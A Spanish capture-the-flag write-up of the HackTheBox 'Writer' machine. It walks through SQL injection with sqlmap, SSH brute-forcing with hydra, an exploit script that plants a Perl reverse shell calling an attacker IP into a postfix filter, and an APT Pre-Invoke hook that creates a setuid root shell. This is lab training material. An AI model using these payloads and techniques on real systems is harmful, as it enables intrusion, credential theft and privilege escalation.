Skip to content

Writer

Difficulty : Medium
Operating System : Linux
Rating : 4.2
Author : TheCyberGeek

Description

Esta maquina ha terminado siendo muy divertida. Nos encontraremos con una inyeccion sql que nos permitira obtener un punto de apoyo para llegar al usuario. Despues explotaremos un script de postfix y seguidamente aprovecharemos un cron para conseguir root. vamos a ello!

Enumeration

Para la enumeracion basica vamos a utilizar una tool que he desarrollado especificamente para trabajar con maquinas en la plataforma hackthebox. Esta herramienta crea la carpeta de trabajo, realiza un escaneo basico con nmap y si encuentra un servicio web le lanza una enumeracion basica.

Descarga: HTBenum

Nmap

Nmap scan report for writer.htb (10.129.151.58)
Host is up (0.12s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -2s, deviation: 0s, median: -2s
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-08-01 19:57:52
|_  start_date: N/A

Whatweb

http://writer.htb [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.151.58], JQuery, Script, Title[Story Bank | Writer.HTB]

HTTP Headers

HTTP/1.1 200 OK
Date: Sun, 01 Aug 2021 17:57:59 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 11971
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8

ffuz

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://writer.htb/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Extensions       : .htm .php .html .js .txt .zip .bak .asp .aspx .xml .py .log .json .old
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

contact                 [Status: 200, Size: 4905, Words: 242, Lines: 110]
about                   [Status: 200, Size: 3522, Words: 250, Lines: 75]
static                  [Status: 301, Size: 309, Words: 20, Lines: 10]
[INFO] Adding a new job to the queue: http://writer.htb/static/FUZZ

logout                  [Status: 302, Size: 208, Words: 21, Lines: 4]
dashboard               [Status: 302, Size: 208, Words: 21, Lines: 4]
administrative          [Status: 200, Size: 1443, Words: 185, Lines: 35]
server-status           [Status: 403, Size: 275, Words: 20, Lines: 10]
Nikto
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.129.151.58
+ Target Hostname:    writer.htb
+ Target Port:        80
+ Start Time:         2021-08-01 20:04:12 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.46). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, OPTIONS
+ OSVDB-3268: /static/: Directory indexing found.
+ 7967 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:           2021-08-01 20:21:29 (GMT2) (1037 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

User Own

Tras la enumeracion basica compruebo que ffuf me ha dado un directorio llamado administrative. Resulta ser un panel de login y meto credenciales aleatorias con la finalidad de analizarlo con burp. Vamos a guardar la request en un archivo y se lo pasamos a sqlmap

Tras analizar la request con sqlmap observo que es vulnerable a un ataque de tipo time-based blind y puedo leer la base de datos

[root@htb writer]# sqlmap -r burp --dbs
--SNIP--
---
Parameter: uname (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=lala' AND (SELECT 8050 FROM (SELECT(SLEEP(5)))nVTt) AND 'frQQ'='frQQ&password=pepe
---
--SNIP--
available databases [2]:
[*] information_schema
[*] writer

[root@htb writer]# sqlmap -r burp -D writer --tables
-- SNIP --
[20:31:35] [INFO] retrieved: site
[20:31:51] [INFO] retrieved: stories
[20:32:17] [INFO] retrieved: users
Database: writer
[3 tables]
+---------+
| site    |
| stories |
| users   |
+---------+

-- SNIP --

[root@htb writer]# sqlmap -r burp -D writer -T users --dump
-- SNIP --
Database: writer
Table: users
[1 entry]
+----+------------------+--------+----------+----------------------------------+--------------+
| id | email            | status | username | password                         | date_created |
+----+------------------+--------+----------+----------------------------------+--------------+
| 1  | admin@writer.htb | Active | admin    | 118e48794631a9612484ca8b55f622d0 | NULL         |
+----+------------------+--------+----------+----------------------------------+--------------+

Despues de intentar romper ese hash sin exito veo que puedo leer ficheros a traves de la query SELECT LOAD_FILE('ARCHIVO'): con la opcion --sql-shell de sqlmap , aunque como va leyendo caracter por caracter es bastante lento...

[root@htb writer]# sqlmap -r burp --sql-shell
sql-shell> SELECT LOAD_FILE('/etc/passwd');
/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
kyle:x:1000:1000:Kyle Travis:/home/kyle:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
postfix:x:113:118::/var/spool/postfix:/usr/sbin/nologin
filter:x:997:997:Postfix Filters:/var/spool/filter:/bin/sh
john:x:1001:1001:,,,:/home/john:/bin/bash
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false

/etc/apache2/sites-available/000-default.conf

# Virtual host configuration for writer.htb domain
<VirtualHost *:80>
        ServerName writer.htb
        ServerAdmin admin@writer.htb
        WSGIScriptAlias / /var/www/writer.htb/writer.wsgi
        <Directory /var/www/writer.htb>
                Order allow,deny
                Allow from all
        </Directory>
        Alias /static /var/www/writer.htb/writer/static
        <Directory /var/www/writer.htb/writer/static/>
                Order allow,deny
                Allow from all
        </Directory>
        ErrorLog ${APACHE_LOG_DIR}/error.log
        LogLevel warn
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

# Virtual host configuration for dev.writer.htb subdomain
# Will enable configuration after completing backend development
# Listen 8080
#<VirtualHost 127.0.0.1:8080>
#       ServerName dev.writer.htb
#       ServerAdmin admin@writer.htb
#
        # Collect static for the writer2_project/writer_web/templates
#       Alias /static /var/www/writer2_project/static
#       <Directory /var/www/writer2_project/static>
#               Require all granted
#       </Directory>
#
#       <Directory /var/www/writer2_project/writerv2>
#               <Files wsgi.py>
#                       Require all granted
#               </Files>
#       </Directory>
#
#       WSGIDaemonProcess writer2_project python-path=/var/www/writer2_project python-home=/var/www/writer2_project/writer2env
#       WSGIProcessGroup writer2_project
#       WSGIScriptAlias / /var/www/writer2_project/writerv2/wsgi.py
#        ErrorLog ${APACHE_LOG_DIR}/error.log
#        LogLevel warn
#        CustomLog ${APACHE_LOG_DIR}/access.log combined
#
#</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

/var/www/writer.htb/writer.wsgi

#!/usr/bin/python
import sys
import logging
import random
import os

# Define logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,"/var/www/writer.htb/")

# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get("SECRET_KEY", "")

Despues de probar varias enumeraciones y con la desesperacion de la lentitud del ataque sql time-based blind decidi poner en segundo plano un ataque de fuerza bruta ssh con la herramienta hydra usando los usuarios que obtuve del fichero /etc/passwd john y kyle. Para mi sorpresa, obtuve la contraseña del usuario kyle

[root@htb writer]# hydra -t 5 -V -f -l kyle -P /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt writer.htb ssh
[22][ssh] host: writer.htb   login: kyle   password: marcoantonio
[STATUS] attack finished for writer.htb (valid pair found)
1 of 1 target successfully completed, 1 valid password found
kyle
marcoantonio

[root@htb writer]# ssh -l kyle writer.htb
kyle@writer.htb's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon  2 Aug 17:26:50 UTC 2021

  System load:           0.04
  Usage of /:            66.5% of 6.82GB
  Memory usage:          21%
  Swap usage:            0%
  Processes:             253
  Users logged in:       0
  IPv4 address for eth0: 10.129.151.233
  IPv6 address for eth0: dead:beef::250:56ff:feb9:d97a


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Jul 28 09:03:32 2021 from 10.10.14.19
kyle@writer:~$ ls
disclaimer  user.txt
kyle@writer:~$

Root Own

Al realizar una enumeracion basica dentro del sistema, observo que lo unico relevante que hay en la carpeta del usuario kyle es un script en bash llamado disclaimer.

kyle@writer:~$ file *
disclaimer: POSIX shell script, ASCII text executable
user.txt:   ASCII text

Tras ver que el script no nos ayudara a conseguir privilegios de root y seguir enumerando, encuentro otro script con el mismo nombre que esta vez si es creado por el usuario root y pertenece a un grupo del que formamos parte filter

kyle@writer:~$ id
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)
kyle@writer:~$ find / -group filter -type f -exec ls -la {} \; 2>/dev/null
-rwxrwxr-x 1 root filter 1021 Aug  3 06:30 /etc/postfix/disclaimer

Analicemos el script para ver si podemos ejecutarlo a nuestro favor

/etc/postfix/disclaimer

#!/bin/sh
# Localize these.
INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail

# Get disclaimer addresses
DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses

# Exit codes from <sysexits.h>
EX_TEMPFAIL=75
EX_UNAVAILABLE=69

# Clean up when done or when aborting.
trap "rm -f in.$$" 0 1 2 3 15

# Start processing.
cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit
$EX_TEMPFAIL; }

cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }

# obtain From address
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`

if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
  /usr/bin/altermime --input=in.$$ \
                   --disclaimer=/etc/postfix/disclaimer.txt \
                   --disclaimer-html=/etc/postfix/disclaimer.txt \
                   --xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
                    { echo Message content rejected; exit $EX_UNAVAILABLE; }
fi

$SENDMAIL "$@" <in.$$

exit $?

Este script es calcado de este tutorial y se utiliza para que postfix añada un "disclaimer" o amenaza en mi barrio de esas que podemos ver al final de los correos electronicos. La idea es que si se envia un email desde las direcciones proporcionadas, automaticamente se añada ese disclaimer al final.

/etc/postfix/disclaimer_addresses

root@writer.htb
kyle@writer.htb

En el siguiente fichero vemos como el script es lanzado por el usuario john

/etc/postfix/master.cf

kyle@writer:/etc/postfix$ cat master.cf
--SNIP--
dfilt     unix  -       n       n       -       -       pipe
  flags=Rq user=john argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}

Despues de hacer algunas pruebas, me doy cuenta de que cualquier modificacion que haga en el archivo disclaimer es eliminada, por lo que intuyo que hay algun cron ejecutandose. Para verificarlo voy a utilizar la herramienta pspy para analizar los procesos en tiempo real. Una herramienta muy util que nos ofrece de un vistazo lo que se cuece en el sistema y se nos ha podido escapar enumerando tradicionalmente. Podemos ver claramente como el archivo disclaimer es sobreescrito cada dos minutos

kyle@writer:/tmp/lorka$ ./pspy64

2021/08/03 17:20:01 CMD: UID=0    PID=2660407 | /usr/sbin/CRON -f
2021/08/03 17:20:01 CMD: UID=0    PID=2660419 | /bin/sh -c /usr/bin/rm /tmp/*
2021/08/03 17:20:01 CMD: UID=0    PID=2660418 | /usr/sbin/CRON -f
2021/08/03 17:20:01 CMD: UID=0    PID=2660417 | /bin/sh -c /usr/bin/find /etc/apt/apt.conf.d/ -mtime -1 -exec rm {} \;
2021/08/03 17:20:01 CMD: UID=0    PID=2660416 | /bin/sh -c /usr/bin/cp /root/.scripts/disclaimer /etc/postfix/disclaimer
2021/08/03 17:20:01 CMD: UID=0    PID=2660415 | /bin/sh -c /usr/bin/cp /root/.scripts/master.cf /etc/postfix/master.cf
2021/08/03 17:20:01 CMD: UID=0    PID=2660423 | /usr/bin/cp -r /root/.scripts/writer2_project /var/www/
2021/08/03 17:20:01 CMD: UID=0    PID=2660422 | /bin/sh -c /usr/bin/cp /root/.scripts/master.cf /etc/postfix/master.cf
2021/08/03 17:20:01 CMD: UID=0    PID=2660421 | /bin/sh -c /usr/bin/cp /root/.scripts/disclaimer /etc/postfix/disclaimer
2021/08/03 17:20:01 CMD: UID=0    PID=2660420 | /bin/sh -c /usr/bin/find /etc/apt/apt.conf.d/ -mtime -1 -exec rm {} \;
2021/08/03 17:20:01 CMD: UID=0    PID=2660424 | /usr/bin/apt-get update
2021/08/03 17:20:01 CMD: UID=0    PID=2660426 | /usr/lib/apt/methods/http
2021/08/03 17:20:01 CMD: UID=0    PID=2660427 |

Tambien hay que comprobar que efectivamente tenemos un servicio SMTP (puerto 25) escuchando en el sistema...

kyle@writer:~$ netstat -putan |grep -i listen
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp6       0      0 :::139                  :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::445                  :::*                    LISTEN      -

Ahora que tenemos todas las piezas del puzzle, vamos a construir un exploit que hará lo siguiente :

  • Creara un script disclaimer igual que el que hay en el sistema pero añadiendo una reverse shell oneliner al principio de este
  • Usara netcat para conectar localmente al servidor por el puerto 25 y enviara un email desde una de las direcciones encontradas en disclaimer_addresses
  • Como el usuario que ejecuta el script es john recibiremos una shell con sus credenciales

givemejohnshell.sh

#!/usr/bin/env bash
# LoRKa exploit for writer htb machine (john user)

#Brain
makefile(){
cat << "EOF" > /etc/postfix/disclaimer
#!/bin/sh
# Localize these.
perl -e 'use Socket;$i="10.10.14.162";$p="7788";socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail

# Get disclaimer addresses
DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses

# Exit codes from <sysexits.h>
EX_TEMPFAIL=75
EX_UNAVAILABLE=69

# Clean up when done or when aborting.
trap "rm -f in.$$" 0 1 2 3 15

# Start processing.
cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit
$EX_TEMPFAIL; }

cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }

# obtain From address
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`

if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
  /usr/bin/altermime --input=in.$$ \
                   --disclaimer=/etc/postfix/disclaimer.txt \
                   --disclaimer-html=/etc/postfix/disclaimer.txt \
                   --xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
                    { echo Message content rejected; exit $EX_UNAVAILABLE; }
fi

$SENDMAIL "$@" <in.$$

exit $?
EOF
}

mailto(){
nc localhost 25 << EOF
helo EXPLOIT
MAIL FROM: root@writer.htb
RCPT TO: kyle@writer.htb
DATA
Dame un shell porfa
.
QUIT
EOF
}

#RunAway
makefile
mailto

Ahora ponemos una shell a la escucha y lanzamos el exploit....

Dentro del usuario john hay una clave privada id_rsa por lo que la voy a utilizar para conectar por ssh y trabajar comodamente..

$ ls -altR
.:
total 32
drwxr-xr-x 4 john john 4096 Jul 31 19:37 .
-rw------- 1 john john  742 Jul 28 09:21 .viminfo
drwx------ 2 john john 4096 Jul 28 09:19 .cache
drwx------ 2 john john 4096 Jul  9 12:29 .ssh
drwxr-xr-x 4 root root 4096 Jul  9 10:59 ..
lrwxrwxrwx 1 root root    9 May 19 22:20 .bash_history -> /dev/null
-rw-r--r-- 1 john john  807 May 14 18:19 .profile
-rw-r--r-- 1 john john  220 May 14 18:19 .bash_logout
-rw-r--r-- 1 john john 3771 May 14 18:19 .bashrc

./.cache:
total 8
drwxr-xr-x 4 john john 4096 Jul 31 19:37 ..
drwx------ 2 john john 4096 Jul 28 09:19 .
-rw-r--r-- 1 john john    0 Jul 28 09:19 motd.legal-displayed

./.ssh:
total 20
drwxr-xr-x 4 john john 4096 Jul 31 19:37 ..
drwx------ 2 john john 4096 Jul  9 12:29 .
-rw-r--r-- 1 john john  565 Jul  9 12:29 authorized_keys
-rw------- 1 john john 2602 Jul  9 12:29 id_rsa
-rw-r--r-- 1 john john  565 Jul  9 12:29 id_rsa.pub

Una rapida enumeracion con el usuario john nos muestra un directorio donde tenemos permisos de escritura fuera de nuestro home, con permisos para el grupo management

john@writer:~$ id
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)

john@writer:/tmp/lorka$ find / -group management -type d  2>/dev/null
/etc/apt/apt.conf.d

john@writer:~$ find / -group management -type d -exec ls -la {} \; 2>/dev/null
total 48
drwxrwxr-x 2 root management 4096 Jul 28 09:24 .
drwxr-xr-x 7 root root       4096 Jul  9 10:59 ..
-rw-r--r-- 1 root root        630 Apr  9  2020 01autoremove
-rw-r--r-- 1 root root         92 Apr  9  2020 01-vendor-ubuntu
-rw-r--r-- 1 root root        129 Dec  4  2020 10periodic
-rw-r--r-- 1 root root        108 Dec  4  2020 15update-stamp
-rw-r--r-- 1 root root         85 Dec  4  2020 20archive
-rw-r--r-- 1 root root       1040 Sep 23  2020 20packagekit
-rw-r--r-- 1 root root        114 Nov 19  2020 20snapd.conf
-rw-r--r-- 1 root root        625 Oct  7  2019 50command-not-found
-rw-r--r-- 1 root root        182 Aug  3  2019 70debconf
-rw-r--r-- 1 root root        305 Dec  4  2020 99update-notifier

Tambien vimos con la herramienta pspy que hay dos acciones en un crontab relacionadas con ese directorio...

kyle@writer:/tmp/lorka$ ./pspy64

2021/08/03 17:20:01 CMD: UID=0    PID=2660417 | /bin/sh -c /usr/bin/find /etc/apt/apt.conf.d/ -mtime -1 -exec rm {} \;
2021/08/03 17:20:01 CMD: UID=0    PID=2660424 | /usr/bin/apt-get update

En apt.conf.d (Debian/Ubuntu) podemos almacenar scripts que actuaran antes o despues de la ejecucion de dpkg o apt , en este articulo hay una explicacion con ejemplos. En este caso tenemos el vector de ataque claro, deberemos crear un script, almacenarlo en esa carpeta y se ejecutara cuando cron lance /usr/bin/apt-get update. Podriamos hacer algo simple que nos hiciese un cat de la flag de root, pero yo quiero una shell y para eso voy a utilizar mi querida sushi

sushi.c

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdlib.h>
#include <stdio.h>

  int main(void)
 {

    uid_t uid, euid;
    uid = getuid();
    euid = geteuid();

    setreuid(euid, euid);
    system("/bin/bash");

    return 0;

 }

Vamos a compilarla en un directorio temporal de trabajo

john@writer:/tmp/lorka$ gcc sushi.c -o sushi
john@writer:/tmp/lorka$ ls -alt
total 32
drwxrwxrwt 15 root root  4096 Aug  3 21:17 ..
-rwxrwxr-x  1 john john 16832 Aug  3 21:17 sushi
drwxrwxr-x  2 john john  4096 Aug  3 21:17 .
-rw-rw-r--  1 john john   259 Aug  3 21:17 sushi.c

Ahora vamos a generar un script con APT::Update::Pre-Invoke para darle permisos setuid

APT::Update::Pre-Invoke  {"/usr/bin/chown root /tmp/lorka/sushi;/usr/bin/chmod a+rx /tmp/lorka/sushi;/usr/bin/chmod u+s /tmp/lorka/sushi";};

Podria colocarlo directamente en el directorio de destino, pero tengo un rm schedulado que me da la lata y tendria que hilar muy fino, por lo que voy a meterlo en un script en bash y lanzarlo con un while true para asegurarme el exito

xpl.sh

#!/usr/bin/env bash
cat << EOF > /etc/apt/apt.conf.d/100update
APT::Update::Pre-Invoke  {"/usr/bin/chown root /tmp/lorka/sushi;/usr/bin/chmod a+rx /tmp/lorka/sushi;/usr/bin/chmod u+s /tmp/lorka/sushi";};
EOF

Lo lanzamos y esperamos unos minutos a que pase el cron..

john@writer:/tmp/lorka$ while true;do ./xpl.sh;done

.... unos minutos despues....

john@writer:/tmp/lorka$ ls -alt
total 36
drwxrwxrwt 15 root root  4096 Aug  3 21:34 ..
drwxrwxr-x  2 john john  4096 Aug  3 21:28 .
-rwxrwxr-x  1 john john   208 Aug  3 21:28 xpl.sh
-rwsrwxr-x  1 root john 16832 Aug  3 21:17 sushi
-rw-rw-r--  1 john john   259 Aug  3 21:17 sushi.c

john@writer:/tmp/lorka$ ./sushi
root@writer:/tmp/lorka# id
uid=0(root) gid=1001(john) groups=1001(john),1003(management)
root@writer:/tmp/lorka# ls /root/
root.txt  snap

Back to top